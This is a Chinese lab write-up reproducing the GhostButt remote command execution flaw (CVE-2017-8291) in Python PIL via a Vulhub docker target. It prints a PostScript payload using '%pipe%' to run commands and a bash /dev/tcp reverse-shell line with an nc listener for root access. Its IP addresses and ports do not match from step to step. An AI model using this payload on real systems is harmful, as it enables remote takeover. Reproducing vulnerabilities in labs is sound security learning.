Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)

2023-12-22 00:38

本文主要是介绍Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

漏洞原理

Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。

漏洞详情

漏洞简述

PIL内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个eps文件(头为%!PS),则分发给PIL/EpsImagePlugin.py处理。
在这个模块中,PIL调用了系统的gs命令,也就是GhostScript来处理图片文件:

command = ["gs","-q",                         # quiet mode"-g%dx%d" % size,             # set output geometry (pixels)"-r%fx%f" % res,              # set input DPI (dots per inch)"-dBATCH",                    # exit after processing"-dNOPAUSE",                  # don't pause between pages,"-dSAFER",                    # safe mode"-sDEVICE=ppmraw",            # ppm driver"-sOutputFile=%s" % outfile,  # output file"-c", "%d %d translate" % (-bbox[0], -bbox[1]),# adjust for image origin"-f", infile,                 # input file]# 省略判断是GhostScript是否安装的代码
try:with open(os.devnull, 'w+b') as devnull:subprocess.check_call(command, stdin=devnull, stdout=devnull)im = Image.open(outfile)

漏洞复现环境

名称系统名称IP地址
攻击机kali192.168.255.57
靶机centos7192.168.255.176

1、在centos7中开启docker环境,并拉取Vulhub漏洞源码

[root@didiplus ~]# git clone https://github.com/vulhub/vulhub.git

2、进入CVE-2017-8291

[root@didiplus CTF]# cd vulhub/python/PIL-CVE-2017-8291/
[root@didiplus PIL-CVE-2017-8291]# ls
01.png  app.py  docker-compose.yml  poc.png  README.md
[root@didiplus PIL-CVE-2017-8291]#

3、执行命令docker-compose up -d,拉取镜像。

[root@didiplus PIL-CVE-2017-8291]# docker-compose up -d
Creating pil-cve-2017-8291_web_1 ... done
[root@didiplus PIL-CVE-2017-8291]# docker ps -a
CONTAINER ID        IMAGE                                COMMAND                  CREATED             STATUS              PORTS                               NAMES
80c159201cad        vulhub/ghostscript:9.21-with-flask   "python app.py"          6 seconds ago       Up 3 seconds        0.0.0.0:8000->8000/tcp              pil-cve-2017-8291_web_1

4、在kali下访问靶场:http://192.168.255.167:8000/
在这里插入图片描述5、上传poc.png图片,使用vi打开该文件,内容如下:

...省略...
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

在这里插入图片描述

上传文件成功后,会在/tmp/目录下创建aaaaa文件。

6、在docker靶场中查看aaaaa文件,证明是否存在漏洞
在这里插入图片描述
成功在tmp目录下创建文件,说明存在漏洞。

通过反弹shell命令获取root权限。

1、在kail(攻击机)上,开启侦听端口8002端口,执行 nc -l -p 8002
在这里插入图片描述
2、修改poc.png的命令为反弹shell命令bash –c "bash –i >& /dev/tcp/192.168.32.1/777 0>&1"
在这里插入图片描述3、再次上传后,监听端口成功反弹shell
在这里插入图片描述
参考资料:
Python PIL 远程命令执行漏洞(GhostButt CVE-2017-8291 )
Python PIL 远程命令执行漏洞(GhostButt )

这篇关于Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/522056

相关文章

nginx -t、nginx -s stop 和 nginx -s reload 命令的详细解析(结合应用场景)

《nginx-t、nginx-sstop和nginx-sreload命令的详细解析(结合应用场景)》本文解析Nginx的-t、-sstop、-sreload命令,分别用于配置语法检... 以下是关于 nginx -t、nginx -s stop 和 nginx -s reload 命令的详细解析,结合实际应

C#连接SQL server数据库命令的基本步骤

《C#连接SQLserver数据库命令的基本步骤》文章讲解了连接SQLServer数据库的步骤,包括引入命名空间、构建连接字符串、使用SqlConnection和SqlCommand执行SQL操作,... 目录建议配合使用:如何下载和安装SQL server数据库-CSDN博客1. 引入必要的命名空间2.

使用Python删除Excel中的行列和单元格示例详解

《使用Python删除Excel中的行列和单元格示例详解》在处理Excel数据时,删除不需要的行、列或单元格是一项常见且必要的操作,本文将使用Python脚本实现对Excel表格的高效自动化处理,感兴... 目录开发环境准备使用 python 删除 Excphpel 表格中的行删除特定行删除空白行删除含指定

mybatis执行insert返回id实现详解

《mybatis执行insert返回id实现详解》MyBatis插入操作默认返回受影响行数,需通过useGeneratedKeys+keyProperty或selectKey获取主键ID,确保主键为自... 目录 两种方式获取自增 ID:1. ​​useGeneratedKeys+keyProperty(推

Python通用唯一标识符模块uuid使用案例详解

《Python通用唯一标识符模块uuid使用案例详解》Pythonuuid模块用于生成128位全局唯一标识符,支持UUID1-5版本,适用于分布式系统、数据库主键等场景,需注意隐私、碰撞概率及存储优... 目录简介核心功能1. UUID版本2. UUID属性3. 命名空间使用场景1. 生成唯一标识符2. 数

Linux系统性能检测命令详解

《Linux系统性能检测命令详解》本文介绍了Linux系统常用的监控命令(如top、vmstat、iostat、htop等)及其参数功能,涵盖进程状态、内存使用、磁盘I/O、系统负载等多维度资源监控,... 目录toppsuptimevmstatIOStatiotopslabtophtopdstatnmon

Python办公自动化实战之打造智能邮件发送工具

《Python办公自动化实战之打造智能邮件发送工具》在数字化办公场景中,邮件自动化是提升工作效率的关键技能,本文将演示如何使用Python的smtplib和email库构建一个支持图文混排,多附件,多... 目录前言一、基础配置:搭建邮件发送框架1.1 邮箱服务准备1.2 核心库导入1.3 基础发送函数二、

Python包管理工具pip的升级指南

《Python包管理工具pip的升级指南》本文全面探讨Python包管理工具pip的升级策略,从基础升级方法到高级技巧,涵盖不同操作系统环境下的最佳实践,我们将深入分析pip的工作原理,介绍多种升级方... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

PowerShell中15个提升运维效率关键命令实战指南

《PowerShell中15个提升运维效率关键命令实战指南》作为网络安全专业人员的必备技能,PowerShell在系统管理、日志分析、威胁检测和自动化响应方面展现出强大能力,下面我们就来看看15个提升... 目录一、PowerShell在网络安全中的战略价值二、网络安全关键场景命令实战1. 系统安全基线核查

基于Python实现一个图片拆分工具

《基于Python实现一个图片拆分工具》这篇文章主要为大家详细介绍了如何基于Python实现一个图片拆分工具,可以根据需要的行数和列数进行拆分,感兴趣的小伙伴可以跟随小编一起学习一下... 简单介绍先自己选择输入的图片,默认是输出到项目文件夹中,可以自己选择其他的文件夹,选择需要拆分的行数和列数,可以通过